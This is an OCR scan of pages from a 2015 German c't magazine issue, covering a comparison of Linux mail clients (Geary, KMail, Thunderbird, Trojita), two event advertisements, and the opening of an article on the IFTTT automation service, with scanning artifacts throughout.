r ichten im  gewählten Ordner, 
sondern nu r  d ie  l etzten 50, 
scro l l t  man nach unten, lädt d ie 
Software d ie nächsten Mai ls .  Be­
sonders schne l l  a rbeitete Geary 
im Test trotzdem nicht. 

Auch einige Funkt ionen zur 
Mai i-Organ isat ion bringt die 
Software m it: Über eine Scha lt­
fläche in der Werkzeug leiste las­
sen sich Mails i n  andere Ordner 
verschieben, a lternativ klappt 
das auch mit der  Maus .  Wie 
Gmai l  bezeichnet Gea ry die zur 
Mai i -Organisation manue l l  ange­
legten Ordner im Postfach als La­
bels. Mai i-Konversationen lassen 
s ich mit solchen Labels verse­
hen, dann kopiert Gea ry d ie 
Ma i l s  i n  den entsprechenden 
Ordner .  Zum Verschieben e iner 
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Ma i l  steht e in  gesonderter But­
ton bereit. Wichtige Nach richten 
lassen sich mit einem Sternchen 
hervorheben, benutzerdefin ierte 
Markierungen feh len .  Wie i n  
Thunderbird lassen s i ch  Ma i l s  
pe r  Tastendruck (Al schne l l  a r­
chivieren, das funktion iert aber 
nu r  mit Gmai i -Konten.  

Ganz im Gegensatz zu Claws 
Mai l ist Gea ry zunächst ein 
HTML-Ma i i -C i ient, b i s lang kann  
man  d i e  HTML-Ansicht nicht ab­
schalten. Das Nach laden von B i l ­
dern i n  Mai l s  unterbindet Geary 
aber wie d ie anderen C l ients im 
Test automatisch. Ver- und Ent­
sch l üsse ln  kann  der Cl ient n icht. 
Ein Ad ressbuch feh l t  Gea ry 
noch, es so l l  aber in e iner künfti­
gen Vers ion fo lgen.  Bereits jetzt 
kann  der C l ient aber  Ad ressen 
beim Verfassen einer Mai l a uto­
matisch vervo l l ständ igen, dazu 
sammelt Geary Ad ressen aus  ge­
sendeten und erhaltenen Mai l s .  
Die Antwort a uf e ine Ma i l  ver­
fasst man in l i ne  d i rekt darunter 
im selben Programmfenster; der 
Verfassen-Dia log lässt s ich über 
e ine Schaltfläche aber auch ab-

koppel n .  Den frü hen Entwick­
l u ngsstand merkt man Geary an, 
bei umfangreichen Mai i-Konten 
mit v ie len Ordnern und Ma i l s  
reag ierte das Programm u nter 
Ubuntu 1 4. 1  0 gelegent l ich eine 
Wei le  nicht mehr .  

KMai l  

Die  Ma i i -Komponente der KDE­
P IM-Suite Kontact heißt KMai l  
und verwendet da s  P IM-Frame­
work Akonadi .  Die Funktionsviel­
fa lt  von KMai l  ist enorm, vie le 
Ansichten lassen s ich deta i l l iert 
konfigurieren. A l le in  fü r die An­
zeige des Mai i -Headers oder der 
Nachrichtenl iste stehen ver­
schiedene Va rianten zur Wah l  
und  weitere zum Down load be­
reit. E inste l l en lässt sich bei­
spielsweise, wie die Nachrichten­
l i ste im Posteingang sortiert 
wird, die Anzeige als Text- oder 
HMTL-Ma i l s, feste oder va riab le  
Zeichenbreite sowie d ie Schrift­
g röße. Dank  KAdd ressbook ver­
fügt KMai l  auch über ein Adress­
buch; um Termine und Aufga­
ben, d ie  s ich d i rekt aus Ma i l s  
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heraus an legen lassen, kümmert 
sich KOrgan izer. 

KMa i l  zeigt auch umfangrei­
che IMAP-Ordner mit mehr a l s  
1 8  000 Mai ls  sehr schne l l  an .  Zu r  
Ma i i -Organ isat ion stehen F i lter, 
ben utzerdefi n ierte Mark ierun­
gen mit e igens ausgewäh l ten 
Sch riften, Farben und lcons zur  
Verfügung .  Verschieben lassen 
s ich Mai ls n icht nur mit der 
Maus, sondern auch übers Kon­
textmenü oder per TastenkürzeL 
Eine Suche lässt sich als virtue l ler 
Ordner dauerhaft speichern und 
steht so schne l l  wieder  bereit. 
KMai l  beherrscht Funktionen, die 
kaum ein anderer Mai i -C i ient 
kennt: Ma i l s  lassen s ich zeitge­
steuert versenden und empfan­
gene Ma i l s  mit Notizen verse­
hen. Die Funktionsvielfa l t  macht 
KMa i l  zu e inem mächtigen Pro­
g ramm, sorgt aber auch fü r Un­
übersicht l i chkeit i n  den über­
frachteten Menüs. 

Auch i n  Sachen Sicherheit ist 
KMai l  up  to date. Mai ls lassen 
sich versch l üsse ln  und s ign ieren. 
E inen eigenen Spamfi l ter hat die 
Software n icht, nutzt dafü r  aber 
externe Tools  wie SpamAssassin, 
Bogofi l ter und Annoyance-Fi lter 
sowie den GMX-Spam-Fi lter. Bei 
deren Konfigu rat ion legt KMa i l  
passende F i lter an, d ie sich dann  
über das Kontextmenü der  
Nach richten l i ste anwenden las­
sen. l n  der Werkzeug lei ste fi n­
den s ich ansch l ießend zwei 
Scha ltflächen zum Ma rkieren 
von Spam und erwünschten 
Nach richten. 

Thu nderbird 

Im  Sommer 201 2 hat die Mozi l l a  
Foundation besch lossen, i h ren 
Ma i i -C i ient Thunderbird n icht 
mehr weiterzuentwicke ln .  Zwar 

Das KDE-Mai i ­
Programm KMai l  
bietet jede Menge 
Funktionen. 
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Thunderbird 
zeigt nicht nur  
Mai ls, sondern 
auch RSS-Feeds 
an  und hält 
viele praktische 
Funktionen zur 
Mai i -Orga­
n isation bereit. 

sind i n  der Zwischenzeit neue 
Versionen erschienen, doch 
neben e in igen optischen Ver­
besserungen beheben d iese le­
d ig l ich Fehler und stopfen Si­
cherheits l ücken .  Neue Funktio­
nen so l len nur noch h inzukom­
men, wenn d ie Commun ity den 
Code dafü r  l i efert. l n  v ie len ak­
tue l len L in ux-Distr ibut ionen -
a l l en  voran Ubuntu - ist Thun­
derbird trotzdem das Standard­
Ma i l programm.  Wenn trotz des 
g roßen Funkt ionsu mfangs mal 
e in  Featu re feh l t, l ässt es s ich 
häufig a ls E rweiterung aus  
e inem umfangreichen Add-on­
Verzeichnis nachinsta l l ieren. Das 
Add-on L ightn ing rüstet bei­
spie lsweise einen Ka lender nach. 
Für Thunderbi rd g ibt es die 
meisten Erweiterungen. 

El\ltlllluri'fl 
"""'"' 4t Anhr" we!t.etiH.fa. MI for lJ JI Q 

Mai l s  verschiebt Thunderbird 
beq uem per Tastend ruck (A) 
oder über  das Kontextmenü i n  
e in Jah resa rchiv. Wichtiges lässt 
sich mit benutzerdefin ie rten 
Schlagwörtern und Farben oder 
einem Sternchen hervorheben.  
Das Kontextmenü hä l t  E i nträge 
zum Verschieben und Kopieren 
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von Mai l s  bereit. Fü r  mehr Über­
sicht gerade bei Ma i l i ng l isten 
sorgt die Option "Thema igno­
r ieren", d ie  un interessa nte Un­
terha l tungen a l s  ge lesen mar­
kiert und von den Benach richti­
gungen au sn immt. Auf ähn l i -

e he  Weise lassen s i c h  wicht ige 
Threads über "Thema beobach­
ten" leichter im Bl ick behalten. 

Neben einem Schne l l such­
fe ld ,  das den a ktue l l en  Ord ner  
du rchfo rstet, b ietet Thunder­
b i rd ein weiteres Suchfe ld  fü r 

G Serum Events 201 5 

e ine ordnerü berg reifende Su­
che, deren Ergebnisse das P ro­
g ramm i n  e inem e igenen Tab 
präsent iert .  Dort l ässt s ie s ich 
mit  F i l tern weiter  verfe inern .  
Häufig benötigte Suchergeb­
n isse ka nn  Th underb i rd a l s  

Agile Vorgehansmodelle wie Serum und C o .  revolutionieren zurzeit die Produktentwicklung.  
Gleichzeit ig stellt die Umstellung auf Agilität mittlere und große Organisationen vor Herausforderungen.  

Es stellen sich Fragen wie:  
• Synchronisation paral lel arbeitender Teams 
• Skal ierungsoptionen und -grenzen der agilen Framewerks 
• Architekturen in e iner ag i len Umgebung 
• Die neue Rolle der Führung skräfte bzw. des Managements 
• Organisatorischer Change - durch wen und wie weit? 
• 

Wir laden S ie herzlich ein , auf der .. UPscALE - Upscaled Agi le  in Large Enterprises" tei lzunehmen 
und von Erfahrungsberichten von Jeff Sutherland, dem Erfinder des agilen Frameworks Serum sowie 
JJ Sutherland von Scru m i n c  zu profitieren. 

Zielpubl ikum der U PscALE sind M itarbeiter von mitt leren und großen Organisationen die vor der 
Herausforderung stehen , agile Ansätze im Unternehmen umzusetzen. 
Die Veranstaltung profitiert von echten Erfahrungsberichten. Es sprechen Vertreter von größeren 
Organisationen, die den Agi len Wandel bereits vol lziehen und ihre Erfahrungen mit Ihnen tei len .  

Termin: 1 1 .  März 201 5 in  Stuttgart Teilnahmegebühr: 702, 1 0  Euro (ink l . MwSt.) 

E ine Veranstaltung von: � ln Zusammenarbeit mit 

UMevents 
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Dr. Jeff Sutherland 
erfand Serum bei der 
Easel Gorparation 1993. 
Er erarbeitete mit dem 
Serum-Miterfinder Ken 
Schwaber den formali­
sierten Serum Prozess 
zur OOPSLA·gs 
Konferenz. 
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MySQL - 10968 unraad - Trojiti 

!MAP �nsicht Postfach .!:!ilfe 

/ ,. 0 1' g w - ,.; 
• •• i!����e�1316) 

• . cowrfte U!l 
• • Debian (387) 

II dm·devel ( 1/18509) 
... EMai l 

• fastcgi-devel l37271 

Q ,. Scl"lnellsuche 
Betreff 

MySOL Community Server 5.1.42 has been released -itKf:liitiildLiii!* 
'J Re: How Set Up This 'r.lble 

T Re: How Set Up This T.lible 
'Y Re: How Set Up This Thble • flow·tools 11267 ) 

• . Heise 

• Linux I Absender: Victor Subervi 1 
• LoadBalancingList (3260) Listen·Niic�@list:s.mysgl.com 

• M Microsoft ::�:;;w;a��!s�tJJ1'ih����le 
• • · · ' Datum: Freitag . 1. jantJar 2 0 10 1 1 : 09: 5 1  CEST 

: Ii: ;:�: Stic hwörter: • 

Absender Datum GrOße 
• Kent Boortz 0 1. 0 . . . 16.8 .. 

1NMI.fJh!Q.JMII Wi;<U:t 
• Arthur Fuller 02.0 ... 4.9 kB 
• Victor Subervi 02.0 ••• 4.6 kB 
• pr.�bhat ku.. .  02.0 ... 5 . 5 kB • 

• rsync { 13483) .,. • SpamAsussi n  191 
• • user 

• • Workgroup·CT (1) 
• • Wor1:.group--digimag 

• • Worl<group-ho 

:;�pl•lo 

:_l I have a table with p rodu c t s f o r  a s t o re t o  s el l .  I n ee d  t o  a utogene rate 
f ro m co de  a table or s e ri e s  o f  tables i n t o  which l can e n t e r  ( a n d  f rom 
which 
I�c_a__!:l.._Le_tJ:.i�e_ve ) t he ID number'> of Droducts which I a11 going t o  a">socia_t_e • 

� 

Bl itzschnel l  g reift 
Troj ita auch auf 
umfangreiche 
IMAP-Ordner zu. 

virtue l l e  Ordner speichern. Neh­
men Anhänge im  Postfach zu 
v ie l  P latz weg, ka nn  man s ie 
entweder abtrennen (a lso spei­
chern und dann  löschen) oder 
g le ich entfernen.  

Datenschutz und Sicherheit 
sch rei bt Thunderbi rd ebenfa l l s  
groß, unter anderem br ingt es 
einen i nteg rierten Spamfi lter mit 
und kann  gespeicherte Passwör­
ter mit einem Masterpasswort si-

ehern.  Mit H i lfe des En igmai i ­
P iug- ins lässt s ich GnuPG zum 
Versch l üsse ln  von Mai l s  verwen­
den. Neben Mail kann Thunder­
bird auch Newsgroups und RSS­
Feeds lesen. Auch zum Chatten 

Mai i-Ciients fü r Linux 
Name, Version Claws 3.1 1 .1 Evolution 3.12.7 Geary 0.8.3 KMail 4.14.1 
Herstel ler Hiroyuki Yamamoto Evolution· Team Yorba KMaii·Autoren 
Web-Adresse claws-mail.org wiki.gnome.org/Apps/ wiki.gnome.org/Apps/ userbase.kde.org/KMail 

Evolution Geary 
Grundfunktionen 

mehrere Maii·Konten v v v v 
POP3/IMAP v iv v iv - lv v iv 
IMAP: Ordnerstruktur einklappen v v v v 
al le I nur abonnierte Ordner anzeigen v iv v iv v ! - v iv 
Organisation 

gemeinsamer Posteingang 
benutzerdefinierte Filter I Tags v iv v iv - lv v ! -
virtuel le Ordner/Favoriten - I - v / - - I - v iv 
Thread-Ansicht der Nachrichten v v v v 
Suchen auf dem Server I Unterordner in Suche v / - v iv v iv v iv 
einbeziehen 
Spamfilter v v v v 
Mail verfassen/senden 

dt. Rechtschreibprüfung v v v v 
Vorlagen I Signatur I mehrere v iv ! - v !v !v - lv 1 - v !v !v 
Signaturen 
mehrere ldentitäten für den Versand v 
Textmails I HTML·Mails verfassen v / - v iv v iv v iv 
Webdienste zum Versenden großer Dateien 
Weitere Funktionen 

Instant Messenger 

RSS-Feeds I Newsgroups anzeigen v 1 / v  v 1 /v - I - - I -
Kontakte und Ka lender 

Adressbuch I Kalender v /v 1  v iv - I - v !v1  
Synchronisation mit CardDAV / CaiDAV - I - v iv - I - v iv 
Datenschutz/Sicherheit 

abschaltbar: HTML/externe Inhalte nachladen v iv v iv - lv v iv 
E·Maii·Privacy· Test bestanden v (0 Fehler) v (1  Fehler) v (0 Fehler) v (0 Fehler) 
GnuPG I S/MIME v 1 / v 1  v iv - I - v iv 
Empfangsbestätigung nicht v v v v 
automatisch senden 
Bewertung 

Bedienoberfläche ® ®® ®® ® 
Funktionsumfang ® ® 0 ® 
Maii·Organisation ® ®® 0 ®® 
Sicherheit ®® ®® 0 ®® 
Handhabung ® ®® 0 0 
1 mit einer Erweiterung 1 mit externer Software 
®® sehr gut ® gut 0 zufriedenstel lend e schlecht ee sehr schlecht v vorhanden - nicht vorhanden k. A. keine Angabe 
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via Goog le Ta l k  (Hangouts), Face­
book-Chat, I RC und Jabber kann 
man Thunderb i rd nutzen und 
auch  einen Twitter-Stream damit 
anzeigen. 

Trojita 

Entstanden ist Troj ita als Tei l  
e i ne r  Bache lor-Absch l u ssarbeit 
über IMAP-Mai i-Ci ients, im Zuge 
derer s ich sein Entwickler Jan 
Kundrat i ntensiv mit den Mög­
l i chkeiten des IMAP-Protoko l l s  
a useinandergesetzt hat .  Davon 
hat T rojita profitiert, dessen Spe­
zia l ität der besonders schne l l e  
Zugriff a uf IMAP-Ma i l konten ist, 
die dabei auch sehr umfangreich 
sein dü rfen .  Ansonsten ist der 
Funkt ionsumfang abgespeckt: 
Mit POP3-Konten kann  das Pro­
gramm nichts anfangen und bis-

Thunderbird 3 1 .4 TrojiU 0.4.1 

Mozi l la Foundation Jan Kundrat 
mozi l la.org/de/ trojita.flaska.net 
thunderbird 

v 
v iv - lv 
v v 
v iv v ! -

v iv - lv 
v iv - I -
v v 
v iv v iv 

v 

v 
v 1 /v / v  - !v iv 

v v 
v iv v / -
v 

v (Hangout, Facebook, 
I R(, Twitter) 
v iv - I -

v /v 1  v ! -
v iv - I -

v iv v iv 
v (0 Fehler) v (0 Fehler) 
v 1 / v 1  - I -
v v 

® ® 
®® e 
®® ee 
®® 0 
® ®® 

c't 201 5, Heft 5 



l ang auch nu r  e in einziges Mai l ­
konto verwa lten. Die bei  Redak­
tionsschl uss stabi le Version 0.4.1 
ist bereits e in Jahr a lt, e in neues 
Release, das eine Reihe wichtiger 
Funktionen enthä lt, so l l  i n  Kü rze 
folgen.  

E in  Assistent h i lft beim E in­
richten des IMAP-Kontos. Troj ita 
bietet zwar auch die Mögl ichkeit, 
weitere Identäten mit abwei­
chender Absendead resse und  
S ignatur anzu legen, verwendet 
werden aber stets d iese lben 
Kontozugangsdaten. Wer auf e in 
weiteres Ma i l konto zug reifen 
wi l l ,  muss stattdessen e ine wei­
tere I n stanz mit e inem eigenen 
Profi l  über den Befeh l  trojita 
--profile profilname in einem eigenen 
Fenster sta rten .  Für den Abruf 
vie ler Mai i -Ad ressen e ignet sich 
Troj ita daher n icht. Troj ita zeigt 
stets a l l e  Ordner e ines IMAP­
Kontos an, lädt aber jeden Ord­
ner erst beim Öffnen. Zur Anzei­
ge der Nach richten l iste e ines 
Mai lordners holt sich Trojita stets 
nu r  so vie le Daten, wie d ie An­
zeige erfordert. Man muss des­
halb nicht warten, bis e in I ndex 
des Ordners erste l l t  ist, bevor 
man seine Ma i l s  ansehen kann .  
Auch umfangreiche Ma i l ordner 
mit über 1 8  000 Mai l s  ze igt Tro­
j ita daher fast ohne Zeitverzöge­
rung an .  

Be im Funktionsumfang muss 
man Abstr iche machen:  PGP/ 
GnuPG unterstützt Troj ita n icht, 
versch lüsselte Ma i l s  lassen s ich 
nur mit  H i lfe externer Too l s  
lesen, d ie e ine  gespeicherte Mai I 
oder Text ü ber  d ie  Zwischen­
ablage ver- und entsch l üsse ln .  
E ine F unkt ion zum Ausdrucken 
einer Mail feh l t  ebenso wie P IM­
Funkt ionen .  Immerh in  bietet 
Troj i ta e ine kle ine Konta ktver­
wa l tung,  um Ma i l ad ressen bei 
der E ingabe automatisch zu ver­
vo l l ständ igen .  

Be i  der Mai i -Organ isation bie­
tet Troj ita nicht viel Unterstüt­
zung .  Nachrichten lassen sich 
nur mit der Maus verschieben, 
dem Kontextmenü feh len ent­
sprechende Optionen.  Mit Tags 
kann  man Ma i l s  versch lagwor­
ten, d ie nächste Version wird au­
ßerdem die Mögl ichkeit mitbrin­
gen, wichtige Mai ls zu ma rkie­
ren. Entwü rfe speichert Trojita 
als Datei auf der Festplatte, von 
wo aus sie sich später öffnen und 
weiterbea rbeiten lassen. 

Der flotte Zugriff auch auf e in 
IMAP-Konto macht Trojita zu 
einem guten Mai i-Ci ient fü r un­
terwegs. Wer auf dem Laptop 
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Prüfstand I L inux-Mai i-Ci ients 

mit Troj ita Mai l s  abruft, kann  i n  
den E inste l l ungen festlegen, wie 
viele Mai ls  es speichern sol l , und 
dann auch offl ine a rbeiten. Tei l t  
man Troj ita mit, dass man e inen 
teu ren Datenta rif verwendet, 
lädt es weniger Daten nach.  
B l i tzschne l le  Ergebn isse l ieferte 
auch die Suche in e inem IMAP­
Ordner mit über 1 8  000 Mai ls  auf 
dem Server. Das in  Kü rze erschei­
nende neue Release erweitert 
das Prog ramm um weitere Funk­
t ionen, darunter beispie lsweise 
die Mög l ichkeit, Passwörter mit 
H i lfe von QtKeycha in  versch lüs­
selt zu speichern. 

Fazit 

Ähn l ich einer App auf Mobi lge­
räten bietet Trojita bl itzschnel len 
Zug riff auf e in e inzelnes IMAP­
Konto und verzichtet dabei auf 
v ie le  Werkzeuge zur  Mai i-Or­
gan isat ion. Gea ry dagegen, der 
zweite Jungspund im  Test, 
br ingt dafü r  e in ige praktische 
Funktionen mit und punktet mit 
einer schönen und leicht bedien­
baren Oberfläche. ln Sachen Ge­
schwind igkeit und Stab i l ität 
konnte d ieser Ma i le r  aber noch 
nicht so recht überzeugen. 

Gewohnt stab i l  und  so l ide 
präsentierte s ich Mozi l l a  Thun­
derb i rd, der  unabhäng ig  vom 
Desktop gut au ss ieht .  Jede 
Menge P lug- ins  rüsten den A l l ­
rounder  auf  Wunsch mit noch 
mehr  Funkt ionen aus .  Claws 
Mai l  spie lt i n  einer ähn l i chen 
Liga, wenn  der  Standa rd-Funk­
t ionsumfang genügt: F ü r  den 
Mai ler  g ibt es nu r  wen ige P lug­
ins .  Zudem muss man be i  C laws 
Ma i l  darauf verzichten, HTML­
Mai ls zu versenden. Wer Alterna­
tiven sucht, wi rd auf dem KDE­
Desktop bei dem vie lse it igen 
KMa i l  fündig, das unter anderem 
mit zeitgesteuertem Mai lver­
sand auch Funkt ionen bereit­
ste l l t, d ie anderen Cl ients feh len .  
Die Ü bers icht l i chkeit des Pro­
g ramms hat unter dem Funk­
t ionsumfang a l le rd ings  etwas 
ge l itten .  Auf e inem Gnome­
Desktop wirkt KMa i l  jedoch de­
p latz iert und erfordert zudem 
d ie  I nsta l lat ion e iner  ganzen 
Reihe von B ib l iotheken.  H ier bie­
tet s ich das sol ide Ma i i -P ro­
g ramm Evo l ut ion an, das a l l e  
wicht igen Funkt ionen an  Bord 
hat und d iese i n  eine aufge­
räumte Oberfläche verpackt. Die 
Gerad l i n i gkeit zieht sich auch 
du rch d ie  Konfigu rat ionsassis­
tenten .  ( lmd@ct.de) c't: 
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(;) Infotage . N ET 20 1 5  
JETZT 

ANMELDEN 
Was bringen .NET 201 5, 
Visua l Stud io 201 5  und Windows 1 0? 

Erfahren Sie jetzt schon, was mit .NET 201 5  (.NET 4.6/.NET Core 5.0), 
Visual Studio 201 5  und Wlndows 10 auf Sie als .NET-Softwareentwlckler 
zukommt! Bei der Neuauflage unseres erfolgreichen I n fotags erhalten 
Sie wie immer eine geballte Informationsladung zu einem geringen Preis! 
M1crosoft vollzieht einen radikalen Kurswechsel: . NET Core 5.0 ist nicht 
nur plattformunabhängig und Open Source, sendem ein kompleftes mo­
du lares Reenglneering des .NET Fremeworks. wie wir es bisher kennen. 
Nicht nur Klassen, sendem auch viele Grundprinzipien von .NET ändern 
sich. 
Parallel gibt es aber auch das alte. monoi l tisehe .NET ln  einer neuen 
Version 4.6. Wir beantworten Ihnen die Frage, IQr welche Anwend u ngen 
.NET Core 5.0 geeignet Ist und wer Weiterhin bel .NET 4.x bleiben sollte. 
Zudem erfahren Sie von uns, was Wlndows 1 0  für Sie bedeutell 
Dieser Infotag l iefert Ihnen einen prägnanten Überbllck Ober die kom­
menden Entwicklerprodukte von Microsoft. Sie erhalten eine geballte 
lnfonnatlonsladung und eine neutrale Bewertung. 

Referenten: Dr. Holger Schwlchtenberg ( M VP). 
FH-Prof. Manfred Steyer und Andre Krämer (MVP) 

�� 
Dr. Holger Schwlc hten berg 

Mundipharma 
vertraut tel iko G m bH 

Suchen Sie einen zuverlässrgen Partner fur I nternet, Telefonre,  
MPL$-Vernetzung ,  Hou srng u n d  Host rng? mu. te l i ko 

Ich freue m1ch au 
d a s  Gespra h mo t lto"en �r"5 

Nans Cehat<C 



Jo Bager 

Der Al les-Automatisierer 
Ro uti neaufga ben i m  Netz a u tomatis ieren m it I FTTT 

"Wenn  ich etwas in meinem B log poste, veröffentl iche das auch auf Facebook", 
"Wenn  ich ins  Büro komme, scha lte das Smartphone stumm", "Wenn ich mich auf 
den Weg nach Hause mache, d reh'  schon mal  d ie Heizu ng hoch" - Zigtausende 
solcher Routineaufgaben automatisiert I FTTT. 
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I FTTT 

Beispiele fü r den E insatz 5. 1 34 

Web-Automatis ierungs-
werkzeuge jenseits von I FTTI 5. 1 40 
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H omo Mobi l i s  speichert seine 
Dateien in  der Dropbox, er­

fasst Notizen mit Evernote und 
verwa ltet se ine  Termine mit 
Goog les Ka lender .  Er hört se ine 
Mus ik  mit last.fm, trackt seine 
Jogging-Tou ren mit dem Fitbit­
Armband, steuert sei ne He im­
e lektron ik  mit Wink  - und be­
nutzt noch etliche weitere Diens­
te und smarte Gadgets: E in Uni­
versum an  praktischen, vernetz­
ten Helfer le in .  

So nützlich jeder einzelne die­
ser Dienste und jedes ei nzel ne 
Gadget fü r sich sein mag -
manchmal wäre es schön, wenn 
sie sich austauschen und zusam­
menarbeiten könnten. Dann 
könnte man zum Beispiel den 
Cloud-Speicherdienst nutzen, um 
die auf den verschiedensten So­
ciai-Media-Kanä len gesendeten 
Postings zu sichern: E in komplet­
tes Backup der Inha lte auf Twit­
ter, Facebook, im Blog und Co. 

So lche Kooperat ionen s ind 
grundsätz l ich mögl ich .  Viele 
Webd ienste bieten Program­
mierschnittste l len an, mit denen 
Dritta nbieter-Anwendungen auf 
i h re Funkt ionen zug reifen kön­
nen. Doch wer wi l l  schon i n  d ie 
Untiefen der Programmierung 
e intauchen, nur um d ie  Woh­
nung vorheizen zu lassen? 

U n iversel ler  Verkn ü pfer 

Hier kommt IFTTT ins Spie l .  Der 
kosten lose und werbefreie Dienst 
ersch l ießt und verknüpft die 
Funktionen etl icher Webangebo­
te, iOS- und And roid-Smartpho­
nes und anderer "smarter" Geräte 
- und zwar auf eine sehr intu itive 
Art und Weise, immer nach dem 
namensgebenden Prinzip ",f This 
Then That". Diese Fäh igkeit hat 
I FTTT den Ruf eines "Un iversa l ­
Klebstoffs" für Webdienste einge­
bracht. 

Fü r  die Nutzung des engl isch­
sprach igen Dienstes muss man 
s ich mit sei ner E-Ma i l -Ad resse 
anmelden. Der Benutzer kl ickt -
auf der  Hornepage oder i n  der 
App fü r Android oder iOS - in  
e inem einfach zu bed ienenden 
Editor aus  e inem Trigger (This) 
und einer auszufüh renden Akti­
on (That) sogenannte Reci pes 
zusammen, Rezepte. E in solcher 
Trigger kann etwa sein, dass eine 
E-Ma i l  bei Gmai l  im Posteingang 
eintr ifft. A ls  Akt ion kann  I FTTT 
zum Beispie l  den Betreff der 
E-Mai l  a l s  Benachrichtigung auf 
dem Smartphone erscheinen 
lassen. 
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Den besonderen Reiz von 
I FTTT macht aus, dass es auf 
d iese ei nfache Weise Dienste 
und Geräte aus den verschie­
densten Bereichen steuern 
kann .  Das Spektrum re icht von 
Office-Diensten (Goog le  Ca len­
dar, Gmai l )  und  Produ ktivitäts­
too l s  (Evernote, OneNote) über 
Mu lt imedia ( F i i ckr, YouTube), 
Socia l  Media (Facebook, Twitter, 
Tumb l r) und  Aktivitätstracker 
(F itb it, N i ke+) bis hin zu 
Smartphones (iOS, Android) und 
Smart Horne (Nest, Ph i l ips Hue). 
Dienste und Geräte nennt I FTTT 
Channe l s .  Derzeit g ibt es mehr  
a l s  1 50 davon. 

Damit I FTTT im Auftrag des 
Nutzers Aktionen in  einem Chan­
ne! ausführen kann, muss der Be­
nutzer I FTIT den Zugriff auf den 
zugrunde l iegenden Dienst ge­
nehmigen. I FTTT erhält dabei le­
d ig l ich das Recht, auf Funktio­
nen und Daten bei dem Dienst 
zuzugreifen, speichert aber nicht 
das Passwort. 

Im I FTTT-Ja rgon nennt s ich 
das "den Channel  aktivieren". Er 
muss I FTTT a l so vertrauen, dass 
es kein  Sch ind l uder mit se inen 
Daten tre ibt und auch seine e i ­
genen Server gut gegen Angriffe 
abschottet. Denn ein Dienst, der 
auf so viele Accounts woanders 
Zugriff hat, ist auch ein lohnen­
des Zie l  fü r Hacker. B isher s ind 
aber weder Datenschmu noch 
Sicherheitsprob leme bekannt  
geworden. 

Für jeden Kana l  ste l l t  I FTTT in­
dividue l le  Trigger und Aktionen 
bereit .  Facebook-Trigger s ind 
zum Beisp ie l  "New status mes­
sage by you" und "New photo 
post by you", Aktionen etwa 
"Create a status message" oder 
"Create a l ink post". Die Anzah l  
und Art der Trigger und Aktio­
nen unterscheiden sich von 
Channe l  zu Channe l .  So g ibt es 
i nsgesamt 1 0  Tr igger und d rei 
Aktionen im Facebook-Channel ;  
es existieren aber auch Chan­
nels, d ie nu r  Trigger oder nu r  Ak­
t ionen bereitste l l en .  "Android 
Location" etwa, a l so die Ortsaus­
wertung von And roid-Geräten, 
kann  nur als Trigger i n  Akt ion 
treten, "Ph i l ips hue", a l so die 
g le ichnamigen fernbedienba ren 
Leuchten, ste l l en naturgemäß 
nu r  Aktionen bereit. 

Als e inz ige über  das Wenn/ 
dann-Grundpr inz ip h inausge­
hende Besonderheit stehen in 
e in igen Tr igger/Aktionen-Kom­
binat ionen Va riab len zur Verfü­
gung, mit denen sich l nformatio-

Report I IFTTT: Überbl ick 

Get an Andro id  Notification 
e\lerytime a @username you 
p ick tweets 

Notify me when I disconnect 
from e Wi-R network 

Text my wife when 1 1eave work 

by alellander I 1 8k • 126 by uhu e ' 3.0 • 1:!0 by l eo�tem e -' 1 1 1o:  • 1  k 

I FTTT hat Sammlungen nützl icher Rezepte fü r die verschiedensten 
Anwendungsbereiche zusammengestel lt. 

I F My Recipes Browse Channels 

Personal Recipe 1 0 1 6942279 
'-ty RettpeS 

then ;; 
Any new pttoto Add fie trom U R L  to Jo Bager's DropboK 

Recipe TIUe 
II any new photo, then add file from U R L  to Jo Bage�s 
D ropbox 

... Rece1ve �obficabons when th1s Rec1pe 'Uns 

Action 
Add fi l e  from U R L  

V File URL 
[ PrivatePhotoURL 

0 File name 
[ Taken Date 

0 Dropbox folder patll 
[tFTTT/Andro id Photos 

Update 

Auf der IFTIT -Homepage legt man Rezepte an  
oder  wählt ein fertiges aus. 

(!) Turn oft 
e1 Publiah 
O Check 
: : Log 

II Derete 
� O_" bei' Qli _ 2014 
IDt n.n Oecember 15_ 201<4 
n.n 53 tmes  

1 3 1 



Report I I FTTT: Überbl ick 
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Die Channei-Übersicht zeigt, 
wie vielseitg I FTTT ist. 

1 32 

nen aus dem Trigger-Channel  i n  
den Aktions-Channe l  überneh­
men lassen. I FTTT nennt d iese In­
formationen auch l ng redients, 
Zutaten. Im bereits erwähnten 
Beispiel "Wenn eine neue Gmai i ­
Ma i l  ei ntrifft, benachr icht ige 
mich auf dem Smartphone" las­
sen sich unter anderem d ie Ab­
senderad resse, der Betreff, das 
Empfangsdatum, der Mai i-Body 
oder der  Name des ersten At­
tachments in d ie  Smartphone­
Nachricht übernehmen. 

I FTTT ü berprüft die Trigger  
nu r  a l l e  1 5  M inuten. Der Dienst 
eignet s ich daher n icht fü r zeit­
krit ische Aufgaben, etwa um bei 
Annäherung das Garagentor 
aufzumachen .  Laut FAQ bea r­
beitet der  D ienst "e in ige" Re­
zepte schne l ler, g ibt aber  n icht 
näher an, welche.  Unserer Erfah­
rung nach wi rken s ich Trigger  
auf  dem Smartphone i n  a l l e r  
Rege l  sehr  ku rzfr ist ig aus .  Man 
darf s i ch  aber  n i ch t  darauf ver­
lassen, dass I FTTT immer sofort 
auf neue Ere ign isse reag iert. 

Im Bereich "My Recipes" der  
I FTTT-Website und  der  Sma rt­
phone-Apps verwa ltet man 
se ine Rezepte. Dort  kann  man 
e in Rezept dea ktivieren, etwa 
wenn man in U r l aub  ist und  
nicht von  der e ingangs erwähn­
ten Gmai i-Regel behe l l igt wer­
den w i l l .  ln "My Reci pes" kann  
man  auch e i n  Rezept von Hand 
sofort aus lösen - praktisch, um 
e in neues Rezept e inma l  auszu­
probieren. 

ln der  Rezeptverwa ltung auf 
der Hornepage lässt s ich eben­
fa l l s  nachsehen, woran es l iegt, 
wenn e in Rezept ma l  n icht so 
funkt ioniert, wie es so l l .  Zu 
jedem Rezept füh rt I FTTT dort 
e ine Log-Datei, in der es d ie er­
fo lg reiche Ausfüh rung vermerkt, 
aber auch, wenn  etwas schief 
ge la ufen ist. Das s ind meistens 
Timeout-Prob leme, wenn  der 
Server e ines benutzten Dienstes 
zu langsam antwortet. 

Sehr selten kommt es vor, 
dass I FTTT e in Rezept von s ich 
aus  abscha ltet. Das passiert un­
serer Erfahrung nach i n  Fä l len, in  
denen d ie Ausfüh rung über 
